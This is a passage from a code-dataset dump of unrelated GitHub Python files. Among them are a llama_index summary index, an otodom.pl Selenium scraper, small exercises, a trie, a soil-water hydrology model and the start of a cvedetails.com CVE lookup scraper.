query_bundle=QueryBundle(self._summary_query),\n nodes=nodes_with_scores,\n )\n summary_response = cast(Response, summary_response)\n summary_node_dict[doc_id] = TextNode(\n text=summary_response.response,\n relationships={\n NodeRelationship.SOURCE: RelatedNodeInfo(node_id=doc_id)\n },\n )\n self.docstore.add_documents([summary_node_dict[doc_id]])\n logger.info(\n f\"> Generated summary for doc {doc_id}: \" f\"{summary_response.response}\"\n )\n\n for doc_id, nodes in doc_id_to_nodes.items():\n index_struct.add_summary_and_nodes(summary_node_dict[doc_id], nodes)\n\n def _build_index_from_nodes(\n self, nodes: Sequence[BaseNode]\n ) -> IndexDocumentSummary:\n \"\"\"Build index from nodes.\"\"\"\n # first get doc_id to nodes_dict, generate a summary for each doc_id,\n # then build the index struct\n index_struct = IndexDocumentSummary()\n self._add_nodes_to_index(index_struct, nodes)\n return index_struct\n\n def _insert(self, nodes: Sequence[BaseNode], **insert_kwargs: Any) -> None:\n \"\"\"Insert a document.\"\"\"\n self._add_nodes_to_index(self._index_struct, nodes)\n\n def _delete_node(self, node_id: str, **delete_kwargs: Any) -> None:\n \"\"\"Delete a node.\"\"\"\n if node_id not in self._index_struct.doc_id_to_summary_id:\n raise ValueError(f\"node_id {node_id} not in index\")\n summary_id = self._index_struct.doc_id_to_summary_id[node_id]\n\n # delete summary node from docstore\n self.docstore.delete_document(summary_id)\n\n # delete from index struct\n self._index_struct.delete(node_id)\n\n @property\n def ref_doc_info(self) -> Dict[str, RefDocInfo]:\n \"\"\"Retrieve a dict mapping of ingested documents and their nodes+metadata.\"\"\"\n ref_doc_ids = list(self._index_struct.doc_id_to_summary_id.keys())\n\n all_ref_doc_info = {}\n for ref_doc_id in ref_doc_ids:\n ref_doc_info = self.docstore.get_ref_doc_info(ref_doc_id)\n if not ref_doc_info:\n continue\n\n all_ref_doc_info[ref_doc_id] = ref_doc_info\n return all_ref_doc_info\n\n\n# legacy\nGPTDocumentSummaryIndex = DocumentSummaryIndex\n","repo_name":"JTarakRam/Custom_Chatbot--OpenAI","sub_path":"chatenv/lib/python3.9/site-packages/llama_index/indices/document_summary/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6747,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"18176433699","text":"# Webscraping otodom.pl with selenium only\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.keys import Keys\nimport time\nimport pandas as pd\n\n# Boolean variable to take 100 advs or all advs\n# is defined in the main function at the and of the code\n\n# This code is written after the code otodom-soup-selenium which uses both Seleniun and BeautifulSoup (in folder soup)\n# so we highly recommend to read the code from the folder soup first to have the full picture\n# This code here does not use BeautifulSoup at all, only selenium\n\n# Most of the functions are the same, \n# The whole part with preliminary links is the same, so we have not commented it (see the code in the folder soup)\n\n# However there were some changes, for example:\n## In the function take_adv_links we do not need to add 'https://www.otodom.pl' like in the version with BeautifulSoup\n## In the function find_all_properties_all_attributes we do not need to define 2 functions for finding one attribute\n## so instead of having find_property_one_attribute_1 and find_property_one_attribute_2 \n## we have only find_property_one_attribute which takes xpath as an argument\n## xpath is defined in the dictionary in the function find_all_properties_all_attributes\n\n\n################################################################################\n# This part prepares preliminary links - links for lists of links\n################################################################################\n\n# initiate_driver (for technical description please see the code in the folder soup)\ndef initiate_driver(gecko_path):\n ser = Service(gecko_path)\n options = webdriver.firefox.options.Options()\n options.headless = False\n driver = webdriver.Firefox(options = options, service=ser)\n return driver\n\n# take_adv_links (for technical description please see the code in the folder soup)\n# here we changed just the line with new_tags\n# we used find_elements by xpath instead of find by tag name from the version with BeautifulSoup\ndef take_adv_links(driver, url):\n link_temp_list = []\n driver.get(url)\n body = driver.find_element(By.TAG_NAME, 'body')\n tags = []\n\n while True:\n body.send_keys(Keys.PAGE_DOWN)\n time.sleep(2)\n\n new_tags = driver.find_elements(By.XPATH, \"//h2[contains(text(),'Wszystkie ogłoszenia')]/following-sibling::ul//li[@data-cy='listing-item']\")\n\n if len(new_tags) > len(tags):\n tags = new_tags\n else:\n break\n\n for tag in tags:\n a_tag = tag.find_element(By.TAG_NAME, 'a')\n url = a_tag.get_attribute('href') # in this case we do not need to add ''https://www.otodom.pl' like in the version with BeautifulSoup\n link_temp_list.append(url)\n\n return link_temp_list\n\n# take_all_adv_links\n## function to take all links to the single adv pages\n## iterates over the result pages\n## i set in range(1, n_pages+1) to take exactly n_pages\n## returns n links to the single adv pages\n\n## in this code we added here the driver as an argument\n## because we will use it in the next function\n## driver will be initiated and closed in the main function\n\n## arguments:\n### driver - driver\n### n_pages - number of pages with results\n### n - number of links to the single adv pages that we want to take\n\n## returns:\n### list of all links to the single adv pages\n\ndef take_all_adv_links(driver, n_pages, n):\n links = []\n for i in range(1, n_pages + 1):\n link_temp_list = []\n url = 'https://www.otodom.pl/pl/oferty/sprzedaz/mieszkanie/warszawa/mokotow?distanceRadius=0&locations=%5Bdistricts_6-39%5D&viewType=listing&page=' + str(i) + '&limit=24'\n link_temp_list = take_adv_links(driver, url)\n links.extend(link_temp_list)\n\n # in this case we do not need to quit driver at the end of that function, beacause we will use it in the next function\n return links[:n]\n\n################################################################################\n# This part scraps data from single adv page\n################################################################################\n\n# find_property_one_attribute\n## function to find one attribute of the property\n## basing on the xpath\n\n## arguments:\n### driver - driver\n### xpath - xpath of the attribute\n\n## returns:\n### attribute of the property\n\n# In this code we do not need to define 2 functions for finding one attribute\ndef find_property_one_attribute(driver, xpath):\n try:\n return driver.find_element(By.XPATH, xpath).text\n except:\n return ''\n\n# find_all_properties_all_attributes\n## function to find all attributes of all properties\n## and append them to a all_properties_all_attributes dataframe\n\n## arguments:\n### driver - driver\n### links - list of links to the single adv pages\n\n## returns:\n### all_properties_all_attributes dataframe\n\ndef find_all_properties_all_attributes(driver, links):\n df = pd.DataFrame({'price': [],\n 'location':[],\n 'price_m2':[],\n 'area':[], \n 'property_from':[], \n 'room_no':[], \n 'finish_condition':[],\n 'balcony_garden_terrace':[], \n 'rent':[], \n 'parking_place':[], \n 'heating':[], })\n \n xpaths = {\n 'price': \"//strong[@aria-label='Cena']\",\n 'location': \"//a[@aria-label='Adres']\",\n 'price_m2': \"//div[@aria-label='Cena za metr kwadratowy']\",\n 'area': \"//div[text()='Powierzchnia']/following::div[1]\",\n 'property_from': \"//div[text()='Forma własności']/following::div[1]\",\n 'room_no': \"//div[text()='Liczba pokoi']/following::div[1]\",\n 'finish_condition': \"//div[text()='Stan wykończenia']/following::div[1]\",\n 'balcony_garden_terrace': \"//div[text()='Balkon / ogród / taras']/following::div[1]\",\n 'rent': \"//div[text()='Czynsz']/following::div[1]\",\n 'parking_place': \"//div[text()='Miejsce parkingowe']/following::div[1]\",\n 'heating': \"//div[text()='Ogrzewanie']/following::div[1]\"\n }\n\n for link in links:\n driver.get(link)\n #time.sleep(1) # we tested both versions with and without time.sleep() and it seems that it is not necessary to use it\n property_attributes = {attr: find_property_one_attribute(driver, xpath) for attr, xpath in xpaths.items()}\n df = df._append(property_attributes, ignore_index = True)\n\n return df\n\n# set_parameters (for technical description please see the code in the folder soup)\ndef set_parameters(max_100):\n if max_100:\n n_pages = 2\n n = 100\n else:\n n_pages = 1\n n = 24\n return n_pages, n\n\ndef main():\n start_time = time.time()\n max_100 = False # if False please adjust parameters in the function set_parameters !!!\n gecko_path = '/opt/homebrew/bin/geckodriver'\n\n n_pages, n = set_parameters(max_100)\n driver = initiate_driver(gecko_path)\n links = take_all_adv_links(driver, n_pages, n)\n df = find_all_properties_all_attributes(driver, links)\n\n driver.quit()\n df.to_csv('data_selenium.csv', index = False, encoding = 'utf-8-sig')\n end_time = time.time()\n execution_time = end_time - start_time \n print(f\"Script execution time: {execution_time} seconds\")\nmain()","repo_name":"KacpiPL/Otodom-Webscraping","sub_path":"selenium/otodom-selenium.py","file_name":"otodom-selenium.py","file_ext":"py","file_size_in_byte":7426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4031684704","text":"from pprint import pprint\n\nresult_list = []\nmy_list = ['1.txt', '2.txt', '3.txt']\n\nfor i in my_list:\n my_dict = {}\n with open(i) as file:\n my_dict['Имя файла'] = i\n lines = file.readlines()\n my_dict['Количество строк'] = len(lines)\n my_dict['Содержимое файла'] = lines\n result_list.append(my_dict)\n\nresult_list.sort(key=lambda x: x['Количество строк'])\npprint(result_list)\n\nwith open('4.txt', 'w') as f:\n for line in result_list:\n f.write(f\"{line['Имя файла']}\\n\")\n f.write(f\"{str(line['Количество строк'])}\\n\")\n for i in line['Содержимое файла']:\n f.write(i)\n f.write(f\"\\n\")\n\n print('Текст записан в файл 4.txt')\n\n","repo_name":"Smelkovaalla/7.3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70648941950","text":"#city= \"Nairobi\"\n#print(city[:5])\n#print(city[:-1])\n#print(city[-1:])\n\nfrom dataclasses import replace\n\n\nf_name= \"SHERYL MUTHONI\"\n#print(f_name.upper())\n#print(f_name.lower())\n\n#concatinating is converting integer converting to a float or vice versa or a string\n#number=6\n#print(str(number))\n\nx=4\n#print(float(x))\n\ns=6.0\n#print(int(s))\n\nf_name= \"kim\"\ns_name= \"Taehyung\"\nfull_name= f_name + s_name\n#print(full_name)\n\n#replace method\n\nname=\"Brett manrock\"\n#print(name.replace('t','s'))\n\nmsg=\"Annyeong My name is Park Jimin how are you\"\n#print(msg.split())\nprint(len(msg))\n\n\n","repo_name":"muthoniiii/Inspire-In-STEM","sub_path":"Lesson7.py","file_name":"Lesson7.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1244075530","text":"import sys\nimport typing\n\n\nclass BitCnt():\n def __getitem__(\n self,\n n: int,\n ) -> int:\n return self.__a[n]\n\n def __call__(\n self,\n n: int,\n ) -> int:\n return self.__a[n]\n\n\n def __init__(\n self,\n n: int,\n ) -> typing.NoReturn:\n a = [0] * (n + 1)\n for i in range(n):\n a[i] = a[i // 2] + i % 2\n self.__a = a\n\n\n\ndef solve(\n n: int,\n a: typing.List[int],\n) -> typing.NoReturn:\n mod = 10 ** 9 + 7\n bitcnt = BitCnt(1 << 22)\n\n cache = [-1] * (1 << n)\n def dfs(\n s: int,\n ) -> int:\n if s == 0: return 1\n if cache[s] != -1:\n return cache[s]\n c = bitcnt[s]\n tot = 0\n for i in range(n):\n if ~s >> i & 1: continue\n if a[c - 1][i] == 0:\n continue\n tot += dfs(s - (1 << i))\n tot %= mod\n cache[s] = tot\n return tot\n\n\n print(dfs((1 << n) - 1))\n\n\n\ndef main() -> typing.NoReturn:\n n = int(input())\n a = [\n list(\n map(int, input().split())\n )\n for _ in range(n)\n ]\n solve(n, a)\n\n\nmain()\n","repo_name":"kagemeka/atcoder-submissions","sub_path":"jp.atcoder/dp/dp_o/24639773.py","file_name":"24639773.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"31728363336","text":"def is_leap_year(year):\r\n year = int(year)\r\n if year % 4 == 0:\r\n if year % 400 == 0:\r\n return True\r\n elif year % 100 == 0:\r\n return False\r\n else:\r\n return True\r\n else:\r\n return False\r\n\r\nprint(is_leap_year(input('Enter a year')))\r\n","repo_name":"rosswillyoung/Exercism-leap","sub_path":"leap.py","file_name":"leap.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18419168695","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n__author__ = \"Liu dongdong Yangya\"\r\n__date__ = \"2022-xx-xx\"\r\n__version__ = \"1.0\"\r\n\"\"\"\r\n\r\nimport OpenKarHydro_properties\r\nimport openpyxl\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom tqdm import tqdm\r\n\r\nclass Laio(object):\r\n print(\"模型运行开始\")\r\n def __init__(self,pre_input):\r\n self.goal = pre_input['goal'] \r\n self.Crop_type = pre_input['Crop_type'] \r\n self.parametsrs = pre_input['parameters'] \r\n self.order = pre_input['order'] \r\n OpenKarHydro_properties.Read_canshu(self.goal, self.Crop_type, self.order, self.parametsrs)\r\n self.para = OpenKarHydro_properties.pro \r\n #研究区地理位置\r\n self.Psi = self.para['Loc_thr']['Psi'] \r\n self.Z = self.para['Loc_thr']['Z'] \r\n self.ht = self.para['Loc_thr']['ht'] \r\n self.λ = self.para['Loc_thr']['λ'] \r\n #时间离散\r\n self.days = self.para['Time_Method']['days'] \r\n self.dt = self.para['Time_Method']['dt'] \r\n #气象数据\r\n self.J = self.para['Time_Method']['J'] \r\n self.T_max = self.para['Atmosphere']['T_max']\r\n self.T_mean = self.para['Atmosphere']['T_mean']\r\n self.T_min = self.para['Atmosphere']['T_min']\r\n self.Rh = self.para['Atmosphere']['Rh'] \r\n self.Rain = self.para['Atmosphere']['Rain'] \r\n self.U2 = self.para['Atmosphere']['U2'] \r\n self.h = self.para['Atmosphere']['h'] \r\n #实测分项数据\r\n self.s_actual = self.para['Actual_value']['s_actual']\r\n self.Irr = self.para['Actual_value']['Irr'] \r\n self.Cov = self.para['Actual_value']['Cov']/100 \r\n self.Roff = self.para['Actual_value']['Roff'] \r\n self.Kc = self.para['Actual_value']['Kc'] \r\n #土壤性质属性参数\r\n self.floor = np.arange(0,self.para['params'].shape[0],1) \r\n self.ETw = self.para['params']['ETw'] \r\n self.Zr = self.para['params']['Zr'] \r\n self.Depth = self.para['params']['Depth'] \r\n self.Ks = self.para['params']['Ks'] \r\n self.n = self.para['params']['n'] \r\n self.sfc = self.para['params']['sfc'] \r\n self.st = self.para['params']['st'] \r\n self.sw = self.para['params']['sw'] \r\n self.sh = self.para['params']['sh'] \r\n self.Inter_max = self.para['params']['Inter_max'] \r\n self.beta = self.para['params']['beta'] \r\n self.s_init = self.para['params']['s_init'] \r\n self.grow_start = self.para['params']['Crop_start'] \r\n self.grow_end = self.para['params']['Crop_end'] \r\n\r\n #时间离散\r\n def Time_Method(self):\r\n self.month = np.arange(0, (self.days + self.dt) / 30, self.dt) \r\n self.day = np.arange(0, self.days + self.dt - 1, self.dt) \r\n self.hours = np.arange(0, self.days * 24, self.dt) \r\n\r\n #水分输入\r\n def water_input(self,tim):\r\n self.Rain[tim] = np.where(self.Rain[tim]>=50 and self.goal==3,50,self.Rain[tim])\r\n self.s_Input = self.Rain[tim] + self.Irr[tim]\r\n self.s_Input = np.where(self.s_Input > self.Ks[0], self.Ks[0], self.s_Input) \r\n\r\n #水分输出\r\n def water_loss(self,tim,s):\r\n ##冠层截留\r\n self.Cov_max = np.max(self.Cov)\r\n if self.goal == 3:\r\n self.Cov[tim] = self.grow_Cov\r\n self.Kc[tim] = self.grow_Kc\r\n self.Cov_max = self.K\r\n self.Inter1 = self.Inter_max[0]*(self.Cov[tim]/self.Cov_max)\r\n self.Inter1 = np.where(053.3) or (Crop_cond==False and Sum_Rain<27.9)],\r\n [CN1,CN2,CN3])\r\n S = 25400/CN-254 \r\n self.Ia = float(self.λ) * S \r\n self.Roff = (self.Rain[tim]-self.Ia)**2/(self.Rain[tim]+S-self.Ia) if self.Rain[tim] >= self.Ia else 0\r\n\r\n #蒸散发\r\n α = 0.23 \r\n a = 0.25 \r\n b = 0.50 \r\n G = 0 \r\n gsc = 0.0820 \r\n sigma = 4.903 * 10 ** (-9) \r\n P = 101.3 * ((293 - 0.0065 * self.Z) / 293) ** 5.26 \r\n Gama = 0.665 * 10 ** (-3) * P \r\n es_max = 0.6108 * np.exp(17.27 * self.T_max / (self.T_max + 237.3)) \r\n es_min = 0.6108 * np.exp(17.27 * self.T_min / (self.T_min + 237.3)) \r\n es = (es_max + es_min) / 2 \r\n ea = np.mean(self.Rh)/100 * es \r\n Delta = 0.409 * np.sin(2 * np.pi / 365 * self.J - 1.39) \r\n Ws = np.arccos(-np.tan(self.Psi) * np.tan(Delta)) \r\n H = 24 / np.pi * Ws \r\n dr = 1 + 0.033 * np.cos(2 * np.pi / 365 * self.J) \r\n Ra = 24 * 60 / np.pi * gsc * dr * (Ws * np.sin(self.Psi) * np.sin(Delta) + np.cos(self.Psi) * np.cos(Delta) * np.sin(Ws)) \r\n Rs = (a + b * self.h / H) * Ra \r\n Rso = (a + b) * Ra \r\n Rn1 = sigma * ((self.T_max + 272.15) ** 4 + (self.T_min + 272.15) ** 4) / 2 * (0.34 - 0.14 * (ea ** 0.5)) * (1.35 * Rs / Rso - 0.35) \r\n Rns = (1 - α) * Rs \r\n Rn = Rns - Rn1 \r\n Deta = 4098 * (0.6108 * np.exp(17.27 * self.T_mean / (self.T_mean + 273.3))) / (self.T_mean + 273.3) ** 2 \r\n self.pm_fao56 = (0.408 * Deta * (Rn - G) + (Gama * 900 * self.U2 * (es - ea)) / (self.T_mean + 273)) / (Deta + Gama * (1 + 0.34 * self.U2)) \r\n\r\n self.AET,self.Lw = [],[]\r\n for floor in self.floor[0:]:\r\n if self.Depth[0] <= self.ht <= self.Depth[1]:\r\n self.Kh = 1 if floor == 0 else 0\r\n if self.Depth[1] < self.ht <= self.Depth[2]:\r\n self.Kh = 1 if floor == 0 else 0.048*(self.Depth[floor]/1000)**(-0.048) if floor == 1 else 0\r\n else:\r\n self.Kh = 1 if floor == 0 else 0.048*(self.Depth[floor]/1000)**(-0.048)\r\n \r\n self.ETmax = self.pm_fao56[tim] * self.Kc[tim] * self.Kh\r\n self.AET_Laio = np.piecewise(s[floor],[s[floor] <= self.sh[floor],(s[floor] <= self.sw[floor]) & (s[floor] > self.sh[floor]),\r\n (s[floor] <= self.st[floor]) & (s[floor] > self.sw[floor]),s[floor] > self.st[floor]],\r\n [0,self.ETw[floor] * ((s[floor] - self.sh[floor]) / (self.sw[floor] - self.sh[floor])),\r\n self.ETw[floor] + (self.ETmax - self.ETw[floor]) * ((s[floor] - self.sw[floor]) / (self.st[floor] - self.sw[floor])),\r\n self.ETmax])\r\n self.AET_Laio = np.where(self.Rain[tim]==0,0,self.AET_Laio) \r\n\r\n #渗漏\r\n self.Lw1 = np.piecewise(s[floor],[s[floor] < self.sfc[floor],s[floor]>= self.sfc[floor]],\r\n [0,self.Ks[floor] * (np.exp(self.beta[floor] * (s[floor] - self.sfc[floor])) - 1) / (np.exp(self.beta[floor] * (1 - self.sfc[floor])) - 1)])\r\n self.AET.append(float(self.AET_Laio))\r\n self.Lw.append(float(self.Lw1))\r\n\r\n #多层净含水率\r\n def Net_s(self):\r\n self.Net_s0 = ((self.s_Input + self.AET[1]) - (self.Inter1 + self.AET[0] + self.Lw[0]+self.Roff))/(self.n[0] * self.Zr[0])\r\n self.Net_s1 = ((self.Lw[0] + self.AET[2]) - (self.AET[1] + self.Lw[1])) / (self.n[1] * self.Zr[1])\r\n self.Net_s2 = (self.Lw[1] - self.AET[2] - self.Lw[2]) / (self.n[2] * self.Zr[2])\r\n self.rhs = lambda Data: np.array([self.Net_s0,self.Net_s1,self.Net_s2])\r\n\r\n #解常微分方程\r\n def euler_forward(self, Data,dt):\r\n return Data + dt * self.rhs(Data)\r\n\r\n def improved_euler(self, Data,dt):\r\n yp = Data + dt * self.rhs(Data)\r\n return Data + 0.5 * dt * (self.rhs(Data) + self.rhs(yp))\r\n\r\n def Runge_Kutta4(self, Data, dt):\r\n k1 = dt * self.rhs(Data)\r\n k2 = dt * self.rhs(Data + 0.5 * k1)\r\n k3 = dt * self.rhs(Data + 0.5 * k2)\r\n k4 = dt * self.rhs(Data + k3)\r\n return np.array(Data + (k1 + 2.0 * (k2 + k3) + k4) / 6.0)\r\n\r\n def run_Laio_RK4(self):\r\n T, self.Sim = self.days, []\r\n s = np.array(self.s_init) \r\n Cov0 = 0.25 \r\n results_avg = np.array([[0, 0, 0, 0, 0, 0, 0, 0, 0]]) \r\n for tim in tqdm(np.arange(0,T,1)): \r\n self.water_input(tim)\r\n if self.goal == 3: \r\n self.Crop_growth(Cov0,s[0],tim)\r\n self.water_loss(tim, s)\r\n self.Net_s()\r\n self.Sim.append(s)\r\n\r\n iters = 0 \r\n re_error = 0.0001 \r\n w = np.array(s * self.n * self.Zr) \r\n Cov = self.Cov[tim] if self.goal == 1 or 2 else self.grow_Cov\r\n ends = np.array([[tim, s.tolist(), w.tolist(),self.Rain[tim], self.AET, self.Inter1, self.Lw, self.Roff, Cov]])\r\n results_avg = np.concatenate((results_avg, ends))\r\n while True: \r\n h = 0.0001 \r\n iters = iters + 1\r\n s1 = self.Runge_Kutta4(s,h) \r\n s2 = self.Runge_Kutta4(s1,h) \r\n if (abs((s2-s1)/s1)< re_error).all() == True:\r\n print('迭代收敛跳出本循环，此时的迭代次数为{}'.format(iters))\r\n break\r\n else:\r\n print(\"第{}次迭代值不满足收敛要求，继续迭代\".format(iters))\r\n s = s2\r\n continue\r\n s = self.Runge_Kutta4(s2, self.dt) \r\n s = np.where(s>1,1,s)\r\n Cov0 = self.grow_Cov if self.goal== 3 else None \r\n results_avg = pd.DataFrame(results_avg,\r\n columns=['tim(day)',\r\n 'Volumetric soil water content (nondim)',\r\n 'Water storage(mm)',\r\n 'Rain (mm/d)',\r\n 'AET_imitate (mm/d)',\r\n 'Inter_imitate (mm/d)',\r\n 'Lw_imitate (mm/d)',\r\n 'Roff_imitate (mm/d)',\r\n 'Grow_Cov'])\r\n results_avg = results_avg[1:] \r\n \r\n #模型反演\r\n if self.goal == 1:\r\n results_avg.to_csv('result/MC_result/Simulated_fenxiang/Crop{}/第{}次反演模拟.txt'.format(self.Crop_type, self.order),index=False)\r\n wb = openpyxl.load_workbook(\"result/MC_result/Simulated_s/Crop{}_MC_s.xlsx\".format(self.Crop_type))\r\n for day, S_day in enumerate(self.Sim, 1):\r\n for floor, name in enumerate(wb.sheetnames):\r\n ws = wb[name]\r\n ws.cell(row=day, column=self.order).value = S_day[floor]\r\n wb.save(\"result/MC_result/Simulated_s/Crop{}_MC_s.xlsx\".format(self.Crop_type))\r\n wb.close() \r\n \r\n #模型验证\r\n if self.goal == 2:\r\n results_avg.to_csv('result/ME_result/Simulated_fenxiang/Crop{}/第{}次正演验证.txt'.format(self.Crop_type, self.order), index=False)\r\n wb = openpyxl.load_workbook(\"result/ME_result/Simulated_s/Crop{}_ME_s.xlsx\".format(self.Crop_type))\r\n for day, S_day in enumerate(self.Sim, 1):\r\n for floor, name in enumerate(wb.sheetnames):\r\n ws = wb[name]\r\n ws.cell(row=day, column=self.order).value = S_day[floor]\r\n wb.save(\"result/ME_result/Simulated_s/Crop{}_ME_s.xlsx\".format(self.Crop_type))\r\n wb.close() \r\n\r\n #敏感性分析\r\n if self.goal == 4:\r\n fy_t = [0, 16, 31, 45, 61, 68, 81, 94, 116, 127, 137, 159, 181]\r\n self.Sim_s0, self.Sim_s1, self.Sim_s2 = [], [], []\r\n for s, index in zip(self.Sim, np.arange(len(self.Sim))):\r\n if index in fy_t:\r\n self.Sim_s0.append(s[0]), self.Sim_s1.append(s[1]), self.Sim_s2.append(s[2])\r\n self.Sim_s0, self.Sim_s1, self.Sim_s2 = np.array(self.Sim_s0), np.array(self.Sim_s1), np.array(self.Sim_s2)\r\n Sensitivity_data = np.hstack((self.Sim_s0, self.Sim_s1, self.Sim_s2))\r\n return Sensitivity_data\r\n \r\n #反演与验证\r\n if self.goal == 1 or 2:\r\n fy_t = [0, 32, 43, 74, 108, 145, 166, 191] if self.goal == 1 else [0, 16, 31, 45, 61, 68, 81, 94, 116, 127, 137, 159, 181]\r\n self.Sim_s0, self.Sim_s1, self.Sim_s2 = [], [], []\r\n self.Obs_s0, self.Obs_s1, self.Obs_s2 = self.s_actual[0], self.s_actual[1], self.s_actual[2]\r\n for s, index in zip(self.Sim, np.arange(len(self.Sim))):\r\n if index in fy_t:\r\n self.Sim_s0.append(s[0]), self.Sim_s1.append(s[1]), self.Sim_s2.append(s[2])\r\n self.Sim_s0, self.Sim_s1, self.Sim_s2 = np.array(self.Sim_s0), np.array(self.Sim_s1), np.array(self.Sim_s2)\r\n fy_data = ([self.Sim_s0, self.Obs_s0], [self.Sim_s1, self.Obs_s1], [self.Sim_s2, self.Obs_s2])\r\n return fy_data\r\n\r\n #情景分析\r\n if self.goal == 3:\r\n results_avg.to_csv('result/SA_result/Crop{}/第{}次未来30年土壤水分变化.txt'.format(self.Crop_type, self.order),index=False)\r\n #生长计算模块(自然撂荒)\r\n def Crop_growth(self,Cov0,s0,tim):\r\n if self.Crop_type == 1:\r\n self.grow_Cov = self.Cov[tim]\r\n self.grow_Kc = self.Kc[tim]\r\n self.K = np.max(self.Cov)\r\n elif self.Crop_type == 2 or 3:\r\n self.Dm, self.P = self.sfc[0]*self.n[0], 2\r\n [self.K,self.r,self.L] = [0.8,5.446*0.001,5.196*0.001] if self.Crop_type == 2 else [0.85,5.479*0.001,2.632*0.001]\r\n self.R = self.r * Cov0 * (1 - Cov0 / self.K) * self.dt \r\n self.D_R = self.L * (s0*self.n[0] - self.Dm) ** self.P / (((s0*self.n[0] - self.Dm) ** self.P)+self.sh[0]*self.n[0]**self.P)*self.dt \r\n self.grow_Cov = Cov0 + (self.R - self.D_R)\r\n self.grow_Kc = np.where(self.grow_Cov > 0.25,1.59274*self.grow_Cov-0.03876,0.3) if self.Crop_type == 2 else np.where(self.grow_Cov > 0.05,0.94195*self.grow_Cov+0.43851, 0.45)\r\n\r\n\r\n","repo_name":"LiuDongDong1989/OpenKarHydroV2022","sub_path":"OpenKarHydro_main.py","file_name":"OpenKarHydro_main.py","file_ext":"py","file_size_in_byte":15278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7093612335","text":"from typing import Tuple\n\nclass TrieNode(object):\n\n\n def __init__(self, char: str):\n self.char = char\n self.children = []\n self.word_finished = False # Is it the last character of the word\n self.counter = 1 # How many times this character appeared in the addition process\n\n# Adding a word in the Trie structure:\ndef add_word(root, word: str):\n node = root\n for char in word:\n found_in_child = False\n # Search for the character in the children of the present 'node'\n for child in node.children:\n if child.char == char:\n # We found it, so increase the counter by 1 to keep track\n # that another word has it as well\n child.counter += 1\n # and point the node to the child that contains this char\n node = child\n found_in_child = True\n break\n # We did not find it so add a new child\n if not found_in_child:\n new_node = TrieNode(char)\n node.children.append(new_node)\n node = new_node # and point node to the new child\n # Everything is finished, so mark it as the end of a word_finished\n node.word_finished = True\n\ndef add_list(root, lst):\n for word in lst:\n add_word(root, word)\n\ndef find_prefix(root, prefix: str) -> Tuple[bool, int]:\n \"\"\"\n Check and return\n 1. If the prefix exists in any of the words we added so far\n 2. If yes then how many words actually have the prefix\n \"\"\"\n node = root\n # If the root node has no children, then return False\n # because it means we are trying to search in an empty trie\n if not root.children:\n return False, 0\n for char in prefix:\n char_not_found = True\n # Search through all the children of the present 'node'\n for child in node.children:\n if child.char == char:\n char_not_found = False # We cound the char existing in the child\n node = child # Assign node as the child containing the char and break\n break\n if char_not_found:\n return False, 0\n return True, node.counter\n\ndef words_in_trie(root):\n lst = []\n if root.children:\n for child in root.children:\n for s in words_in_trie(child):\n lst.append(child.char + s)\n else:\n lst.append(\"\")\n return lst\n\ndef shortest_unique_prefixes(root):\n lst = []\n if root.children:\n for child in root.children:\n if child.counter > 1:\n for s in shortest_unique_prefixes(child):\n lst.append(child.char + s)\n else:\n lst.append(child.char)\n else:\n lst.append(\"\")\n return lst\n \n \ndef unique_prefixes(lst):\n root = TrieNode('*')\n add_list(root, lst)\n print(shortest_unique_prefixes(root))\n\nunique_prefixes([\"dog\", \"cat\", \"apple\", \"apricot\", \"fish\"])\nunique_prefixes([\"zebra\", \"dog\", \"duck\", \"dove\"])","repo_name":"ThomasRochais/DailyCoding","sub_path":"Problem163.py","file_name":"Problem163.py","file_ext":"py","file_size_in_byte":3002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8868423227","text":"#!/user/bin/python3\n# -*- coding: utf-8 -*-\n'''\n python3 -m pdb demo / error_exception / err.py\n 启动调试模式\n 1.l 查看源代码\n 2.n 单步执行\n 3.任何时候都可以输入命令p 变量名来查看变量\n 4.输入命令q结束调试\n 5.命令c继续运��\n'''\nimport pdb\n\ns = '0'\nn = int(s)\npdb.set_trace() # pdb.set_trace()，就可以设置一个断点 运行到这里自动暂停\nprint(10 / n)\n","repo_name":"tinghaoMa/python","sub_path":"demo/error_exception/err.py","file_name":"err.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32972996588","text":"from bs4 import BeautifulSoup, NavigableString, Tag\nfrom bs4 import BeautifulSoup\nfrom urllib.request import Request, urlopen\nimport datetime\nimport sqlite3\nimport sys\nimport re\nfrom packaging import version\nfrom flask import scaffold\n\nfrom CVE_mitre import *\n\n\n\nsite = 'https://www.cvedetails.com/'\n\nliste_url_a_parcourir = []\n\ndef get_app_by_CVE(CVE):\n url = site+\"cve-details.php?t=1&cve_id=\"+CVE\n req = Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n\n soup = BeautifulSoup(webpage, 'html.parser')\n try:\n table = soup.find('table', attrs={'class': 'listtable'})\n results = table.find_all('tr')\n\n liste_app = []\n\n for result in results:\n data = result.find_all('td')\n if len(data) == 0:\n continue\n product = data[3].getText()\n product = str(product).strip()\n liste_app.append(product)\n\n return liste_app\n except AttributeError:\n return False\n \n\n\ndef get_url_details(product, vendor, type, version):\n url = 